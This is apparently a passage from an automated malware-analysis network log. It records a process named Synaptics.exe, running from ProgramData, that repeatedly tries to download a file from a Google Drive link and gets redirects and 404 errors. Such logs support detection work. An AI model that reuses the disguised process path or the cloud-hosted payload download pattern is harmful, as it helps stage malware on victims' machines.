2025-01-02 19:29:57 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5rpCmOp6GBLlIewz1sOC_4-LHCpJIBC8yDECOdolY20NdmiVshhQitqlaJHteAQ_hYrWP6QPY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:56 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-JCBlBtjVnkQptvRrDkWd5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:57 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:57 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6b 66 56 42 65 53 6a 79 30 64 76 54 34 46 6c 6a 31 66 4e 68 68 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="kfVBeSjy0dvT4Flj1fNhhA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:57 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.9	50012	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:56 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.9	50013	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:57 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.9	50021	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:57 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:58 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5oP4QgKmgYUzZvf-JedWYTvOydVlb-stILsoGAXXeE0e2Uihcbci9OFgYcHHeBNisW4ATfltM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:58 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-VR6ahjIG_wg5n4_iPIggVw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:58 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:58 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 30 74 53 38 6d 37 72 32 55 64 70 6c 30 64 4b 74 35 6e 69 47 7a 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="0tS8m7r2Udpl0dKt5niGzg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:58 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.9	50023	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:57 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-miKmRRd7eRUCjbtlQqU9_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.9	50022	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:57 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:58 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:58 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-b5XRzgwfEvg3NBzDJchA5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.9	50032	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:58 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:59 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7zKI6lHdmOUVGkvMYX1JFhOAHlFegcAy3EygHYlNcej5U4I5caa-rekDNPjZ0urTxn6iDkSi0 Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:59 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-1XR6IPdPjRdXm-ERuWzgvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:59 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:59 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 71 6a 32 59 67 75 50 32 79 71 38 4d 76 71 4d 70 6f 67 6e 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="iqj2YguP2yq8MvqMpognLw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:59 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.9	50034	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:58 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:59 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:59 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-z81Z2iZrKABzAttfuR6jxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.9	50035	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:59 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:59 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6FPKwO6G8kt_HYorVVQuVNDcTN3GhSYGlMiOvDsIsSlOeBV2wem5SkJhheK7Y1SkNS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:59 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-rs8ZQ90njOfWcy-JEvCFjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:59 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:59 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 4d 67 67 6f 33 54 63 32 52 6f 6b 70 4d 6a 66 71 48 34 64 31 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="rMggo3Tc2RokpMjfqH4d1g">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:59 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.9	50033	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
